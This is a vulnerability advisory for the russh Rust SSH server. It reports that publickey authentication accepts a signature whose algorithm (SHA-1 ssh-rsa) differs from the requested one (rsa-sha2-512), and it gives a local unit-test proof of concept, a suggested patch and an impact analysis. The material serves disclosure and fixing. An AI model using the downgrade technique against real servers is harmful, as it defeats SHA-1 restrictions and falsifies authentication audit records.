A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request

### Details In `russh/src/server/encrypted.rs`, `server_read_auth_request_pk` (0.63.3, around lines 880-990): * The requested algorithm name (`pubkey_algo`) is read and only used to decode the key: `PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key)`. The derived `hash_alg` is then dropped (`PublicKeyOrCertificate::PublicKey { ref key, .. }`). * The signature blob is decoded (`Signature::decode`) and verified with `Verifier::verify(&pubkey, &buf, &sig)`. `ssh-key` picks the hash from **the signature's own algorithm** (`sig.algorithm()`). * `pubkey_algo` and `sig.algorithm()` are never compared. So for an RSA key, the request can say `rsa-sha2-512` while the signature is `ssh-rsa`. The signature is valid for SHA-1, verification succeeds, and `Handler::auth_publickey` is called. **Affected versions: every russh release, from the first (`0.34.0-beta.1`, 2022-03) through 0.63.3 and current `main`.** The behaviour is inherited from `thrussh`, which russh was forked from. The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request. * **Up to 0.46:** after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (`pubkey.set_algorithm(algo_)`), then verifies. * **From 0.47/0.48 (move to `ssh-key`):** the signature is decoded with its own algorithm (`sig_workaround::Sig::decode`, later `Signature::decode`) and verified with it. Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of `server/encrypted.rs` in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and `main` (2026-09-30), and in thrussh 0.33.5. ### PoC A unit test in the existing test module of `russh/src/server/encrypted.rs`. It uses the module's own helpers (`test_auth_session`, `sign_with_hash_alg`, `PrivateKeyWithHashAlg`) and needs no network or configuration. 1. Check out russh 0.63.3, or `main`. 2. Paste the code below inside `mod tests { ... }` of `russh/src/server/encrypted.rs`. 3. Run `cargo test --lib poc_sha1`. ```rust // ---- PoC: signature algorithm not checked against the requested one ---- /// Records whether `auth_publickey` (called only after the signature /// verified) was reached. #[derive(Default)] struct AcceptAnyKey { authenticated: bool, } impl Handler for AcceptAnyKey { type Error = Error; async fn auth_publickey_offered( &mut self, _user: &str, _public_key: &PublicKey, ) -> Result<Auth, Self::Error> { Ok(Auth::Accept) } async fn auth_publickey( &mut self, _user: &str, _public_key: &PublicKey, ) -> Result<Auth, Self::Error> { self.authenticated = true; Ok(Auth::Accept) } } /// A signed publickey request that names `announced` as its public key /// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1). fn signed_request_announcing( user: &str, private_key: Arc<PrivateKey>, announced: &str, hash: Option<crate::keys::HashAlg>, ) -> Vec<u8> { let mut packet = Vec::new(); packet.push(msg::USERAUTH_REQUEST); user.encode(&mut packet).unwrap(); "ssh-connection".encode(&mut packet).unwrap(); "publickey".encode(&mut packet).unwrap(); 1u8.encode(&mut packet).unwrap(); announced.encode(&mut packet).unwrap(); private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap(); let mut signed = Vec::new(); CryptoVec::new().as_ref().encode(&mut signed).unwrap(); signed.extend_from_slice(&packet); let signature = sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap(); signature.encode(&mut packet).unwrap(); packet } #[tokio::test] async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() { let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap(); let private = Arc::new(PrivateKey::from(rsa)); let mut session = test_auth_session(); let mut handler = AcceptAnyKey::default(); // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1). let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None); session.process_packet(&mut handler, &packet).await.unwrap(); // RFC 8332 §3: the signature algorithm must be the requested one, so // this request must be rejected. On russh 0.63.3 it is accepted. assert!( !handler.authenticated, "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512" ); } ``` Result on unmodified 0.63.3: ``` test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512 ``` With the fix below, the test passes and the whole library suite still passes: `cargo test --lib` gives 186 passed. Suggested fix: reject a mismatch through the existing `reject_auth_request(until, ...)` path, so the constant rejection time is kept. ```diff --- a/russh/src/server/encrypted.rs +++ b/russh/src/server/encrypted.rs @@ -1023,6 +1023,21 @@ map_err!(ensure_end(&signature_reader))?; map_err!(ensure_end(r))?; + // RFC 8332 §3: the signature must use the algorithm the + // request names. + let offered_algorithm = match pk_or_cert { + PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo), + PublicKeyOrCertificate::Certificate(_) => { + <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo) + } + }; + if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) { + debug!("signature algorithm does not match the requested one"); + auth_user.clear(); + reject_auth_request(until, &mut self.write, auth_request).await?; + return Ok(()); + } + let is_valid = if accepted_probe_matches && user == auth_user { true } else { ``` ### Impact This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's `publickey` authentication. Who is impacted: applications that use russh as an **SSH server** and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example: * a server that refuses SHA-1 (`ssh-rsa`) signatures, as OpenSSH does by default since 8.8; * a server that logs which algorithm a client authenticated with. Such a server can be made to accept a SHA-1 signature, or to record `rsa-sha2-512` for one, by any holder of a valid RSA key. Not impacted: * russh clients; * authentication strength beyond the choice of hash, since a valid signature by the private key is still required; * Te RSA keys were examined, the case where one key admits several signature algorithms (`ssh-rsa`, `rsa-sha2-256`, `rsa-sha2-512`). We did not test other key types.

CWE: CWE-347